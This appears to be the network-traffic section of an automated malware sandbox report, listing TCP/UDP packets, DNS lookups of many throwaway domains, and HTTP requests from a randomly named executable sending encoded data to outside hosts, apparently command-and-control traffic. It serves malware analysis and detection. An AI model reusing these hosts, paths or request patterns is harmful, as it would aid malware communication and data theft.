                                                                  Dec 5, 2024 14:09:00.038181067 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:00.038362026 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:00.040602922 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:00.040750980 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:00.133523941 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:01.152053118 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:01.274173975 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.274276972 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:01.289030075 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:01.408876896 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.408973932 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409034014 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409065962 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409101009 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409132957 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409229040 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409244061 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:01.409292936 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.519937992 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.519953966 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.519965887 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520004988 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.520065069 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520082951 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520106077 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.520199060 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520210981 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520246029 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.520338058 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520380020 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520382881 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.520391941 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.520426035 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.640073061 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.640135050 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.640213013 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.646059990 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.695846081 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.715531111 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.715678930 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.715739965 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.717343092 CET8049952203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:02.717686892 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:02.805308104 CET4995280192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:03.874449015 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:03.994236946 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:03.994309902 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:04.076131105 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:04.196013927 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229572058 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229605913 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229636908 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229737997 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229785919 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229794979 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.229804993 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229818106 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229830980 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.229854107 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.229867935 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.230057955 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.230071068 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.230108976 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.349895000 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.349910021 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.350037098 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.353877068 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.398963928 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.421369076 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.421408892 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.421519995 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.424256086 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:05.424937963 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.425755978 CET4995780192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:05.546109915 CET8049957203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:09:10.926347017 CET4997480192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:11.048614979 CET8049974161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:11.052295923 CET4997480192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:11.066478014 CET4997480192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:11.186358929 CET8049974161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:12.300282955 CET8049974161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:12.300321102 CET8049974161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:12.300340891 CET8049974161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:12.300621033 CET4997480192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:12.574350119 CET4997480192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:13.589498043 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:13.709315062 CET8049980161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:13.709405899 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:13.725298882 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:13.845633030 CET8049980161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:14.957554102 CET8049980161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:14.957679033 CET8049980161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:14.957695961 CET8049980161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:14.957730055 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:14.957770109 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:15.227181911 CET4998080192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:16.245896101 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:16.365917921 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.366038084 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:16.381061077 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:16.501454115 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501468897 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501535892 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501554966 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501646042 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501656055 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501776934 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501785994 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:16.501801968 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:17.619807005 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:17.620002985 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:17.620059967 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:17.701179981 CET8049989161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:17.701261044 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:17.883477926 CET4998980192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:18.906598091 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:19.027020931 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:19.027096033 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:19.035568953 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:19.155394077 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:20.271209002 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:20.271234035 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:20.271245003 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:20.271285057 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:20.271562099 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:20.271562099 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:20.275840044 CET4999580192.168.2.4161.97.168.245
                                                                  Dec 5, 2024 14:09:20.395524025 CET8049995161.97.168.245192.168.2.4
                                                                  Dec 5, 2024 14:09:25.948333025 CET5001280192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:26.068205118 CET805001281.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:26.070205927 CET5001280192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:26.084995985 CET5001280192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:26.204785109 CET805001281.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:27.362648964 CET805001281.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:27.363033056 CET805001281.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:27.363097906 CET5001280192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:27.586571932 CET5001280192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:28.605005980 CET5001880192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:28.724821091 CET805001881.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:28.724910975 CET5001880192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:28.739797115 CET5001880192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:28.947484970 CET805001881.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:30.018733978 CET805001881.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:30.019041061 CET805001881.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:30.019139051 CET5001880192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:30.242815018 CET5001880192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:31.338004112 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:31.457837105 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.457911015 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:31.474033117 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:31.593950033 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.593965054 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594074965 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594090939 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594186068 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594201088 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594475985 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594485044 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:31.594551086 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:32.751303911 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:32.805254936 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:32.856436014 CET805002581.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:32.856532097 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:32.977340937 CET5002580192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:34.031894922 CET5003180192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:34.151750088 CET805003181.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:34.152463913 CET5003180192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:34.187184095 CET5003180192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:34.307034016 CET805003181.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:35.461704969 CET805003181.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:35.461909056 CET805003181.2.196.19192.168.2.4
                                                                  Dec 5, 2024 14:09:35.462059021 CET5003180192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:35.464555979 CET5003180192.168.2.481.2.196.19
                                                                  Dec 5, 2024 14:09:35.584532022 CET805003181.2.196.19192.168.2.4

                                                                  UDP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Dec 5, 2024 14:07:20.866281986 CET5210553192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:07:21.852133036 CET5210553192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:07:22.269526005 CET53521051.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:07:22.269542933 CET53521051.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:07:38.341075897 CET5247453192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:07:38.954464912 CET53524741.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:07:53.168207884 CET5928353192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:07:53.463030100 CET53592831.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:08:01.605803967 CET5616353192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:08:01.834877014 CET53561631.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:08:09.887933016 CET5612553192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:08:10.462064981 CET53561251.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:08:25.136956930 CET5377953192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:08:25.873749971 CET53537791.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:08:40.591619968 CET4969653192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:08:41.068656921 CET53496961.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:08:55.355618000 CET4957453192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:08:55.821867943 CET53495741.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:09:10.433273077 CET4948553192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:09:10.922494888 CET53494851.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:09:25.292962074 CET5178253192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:09:25.943752050 CET53517821.1.1.1192.168.2.4
                                                                  Dec 5, 2024 14:09:40.480094910 CET5185253192.168.2.41.1.1.1
                                                                  Dec 5, 2024 14:09:40.780369043 CET53518521.1.1.1192.168.2.4

                                                                  DNS Queries

                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                  Dec 5, 2024 14:07:20.866281986 CET192.168.2.41.1.1.10xcb2Standard query (0)www.75178.clubA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:21.852133036 CET192.168.2.41.1.1.10xcb2Standard query (0)www.75178.clubA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:38.341075897 CET192.168.2.41.1.1.10x82e2Standard query (0)www.bcg.servicesA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:53.168207884 CET192.168.2.41.1.1.10x3ca2Standard query (0)www.egldfi.xyzA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:01.605803967 CET192.168.2.41.1.1.10x9d83Standard query (0)www.betmatchx.onlineA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:09.887933016 CET192.168.2.41.1.1.10xda9dStandard query (0)www.43kdd.topA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:25.136956930 CET192.168.2.41.1.1.10x66fbStandard query (0)www.lgdiamonds.infoA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:40.591619968 CET192.168.2.41.1.1.10xd1dcStandard query (0)www.jalan2.onlineA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:55.355618000 CET192.168.2.41.1.1.10x8544Standard query (0)www.trendave.xyzA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:10.433273077 CET192.168.2.41.1.1.10x9a59Standard query (0)www.nb-shenshi.buzzA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:25.292962074 CET192.168.2.41.1.1.10x4cd8Standard query (0)www.rysanekbeton.cloudA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:40.480094910 CET192.168.2.41.1.1.10x1551Standard query (0)www.rafconstrutora.onlineA (IP address)IN (0x0001)false

                                                                  DNS Answers

                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                  Dec 5, 2024 14:07:22.269526005 CET1.1.1.1192.168.2.40xcb2No error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:22.269526005 CET1.1.1.1192.168.2.40xcb2No error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:22.269526005 CET1.1.1.1192.168.2.40xcb2No error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:22.269542933 CET1.1.1.1192.168.2.40xcb2No error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:22.269542933 CET1.1.1.1192.168.2.40xcb2No error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:22.269542933 CET1.1.1.1192.168.2.40xcb2No error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:38.954464912 CET1.1.1.1192.168.2.40x82e2No error (0)www.bcg.services199.59.243.227A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:07:53.463030100 CET1.1.1.1192.168.2.40x3ca2Name error (3)www.egldfi.xyznonenoneA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:01.834877014 CET1.1.1.1192.168.2.40x9d83Name error (3)www.betmatchx.onlinenonenoneA (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:10.462064981 CET1.1.1.1192.168.2.40xda9dNo error (0)www.43kdd.top43kdd.topCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:10.462064981 CET1.1.1.1192.168.2.40xda9dNo error (0)43kdd.top38.47.232.202A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:25.873749971 CET1.1.1.1192.168.2.40x66fbNo error (0)www.lgdiamonds.info130.185.109.77A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:41.068656921 CET1.1.1.1192.168.2.40xd1dcNo error (0)www.jalan2.onlinejalan2.onlineCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:41.068656921 CET1.1.1.1192.168.2.40xd1dcNo error (0)jalan2.online108.181.189.7A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:08:55.821867943 CET1.1.1.1192.168.2.40x8544No error (0)www.trendave.xyz203.161.42.73A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:10.922494888 CET1.1.1.1192.168.2.40x9a59No error (0)www.nb-shenshi.buzz161.97.168.245A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:25.943752050 CET1.1.1.1192.168.2.40x4cd8No error (0)www.rysanekbeton.cloudrysanekbeton.cloudCNAME (Canonical name)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:25.943752050 CET1.1.1.1192.168.2.40x4cd8No error (0)rysanekbeton.cloud81.2.196.19A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:40.780369043 CET1.1.1.1192.168.2.40x1551No error (0)www.rafconstrutora.online104.21.34.103A (IP address)IN (0x0001)false
                                                                  Dec 5, 2024 14:09:40.780369043 CET1.1.1.1192.168.2.40x1551No error (0)www.rafconstrutora.online172.67.159.24A (IP address)IN (0x0001)false

                                                                  HTTP Request Dependency Graph

                                                                  • www.75178.club
                                                                  • www.bcg.services
                                                                  • www.43kdd.top
                                                                  • www.lgdiamonds.info
                                                                  • www.jalan2.online
                                                                  • www.trendave.xyz
                                                                  • www.nb-shenshi.buzz
                                                                  • www.rysanekbeton.cloud

                                                                  HTTP Packets

                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  0192.168.2.44973623.167.152.41801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:07:22.413903952 CET461OUTGET /vl4d/?e018=ylo8idjP&-n=QHNq3VljPHXHL8Z+m/91IyVktX2l1Liqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym2iV1w40c0QsDnhpOyo2cx9iWMgjuEVKoVLw= HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.75178.club
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  1192.168.2.449744199.59.243.227801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:07:39.096381903 CET729OUTPOST /5onp/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.bcg.services
                                                                  Origin: http://www.bcg.services
                                                                  Referer: http://www.bcg.services/5onp/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 62 6a 65 49 4f 4d 75 31 77 6e 63 4a 34 52 35 49 2f 78 58 72 6d 79 44 44 38 54 41 2b 6a 65 57 76 38 68 56 50 68 33 76 48 45 64 2b 58 76 51 74 43 38 44 50 4c 6a 47 72 53 51 62 4c 33 54 4f 57 58 4a 34 39 6f 78 52 6b 54 64 53 48 2f 71 76 62 4f 68 73 7a 47 69 37 44 2f 62 42 54 68 79 6b 79 52 6c 6c 6d 62 37 76 78 61 44 55 72 70 74 68 65 4f 57 66 36 4d 52 58 39 7a 74 51 70 50 6f 41 69 36 53 7a 57 48 61 67 62 41 7a 6d 57 6f 6b 6c 6d 53 38 77 79 33 31 64 4e 30 4c 42 52 45 59 37 48 2f 47 62 71 6f 49 77 6a 72 6c 2f 71 47 4a 73 70 38 7a 56 71 2f 52 67 3d 3d
                                                                  Data Ascii: -n=VSFgwmtnFo8YbjeIOMu1wncJ4R5I/xXrmyDD8TA+jeWv8hVPh3vHEd+XvQtC8DPLjGrSQbL3TOWXJ49oxRkTdSH/qvbOhszGi7D/bBThykyRllmb7vxaDUrptheOWf6MRX9ztQpPoAi6SzWHagbAzmWoklmS8wy31dN0LBREY7H/GbqoIwjrl/qGJsp8zVq/Rg==
                                                                  Dec 5, 2024 14:07:40.181029081 CET1236INHTTP/1.1 200 OK
                                                                  date: Thu, 05 Dec 2024 13:07:39 GMT
                                                                  content-type: text/html; charset=utf-8
                                                                  content-length: 1114
                                                                  x-request-id: ee63bf98-3c93-4b39-86ec-efd0c41935f4
                                                                  cache-control: no-store, max-age=0
                                                                  accept-ch: sec-ch-prefers-color-scheme
                                                                  critical-ch: sec-ch-prefers-color-scheme
                                                                  vary: sec-ch-prefers-color-scheme
                                                                  x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                  set-cookie: parking_session=ee63bf98-3c93-4b39-86ec-efd0c41935f4; expires=Thu, 05 Dec 2024 13:22:40 GMT; path=/
                                                                  connection: close
                                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
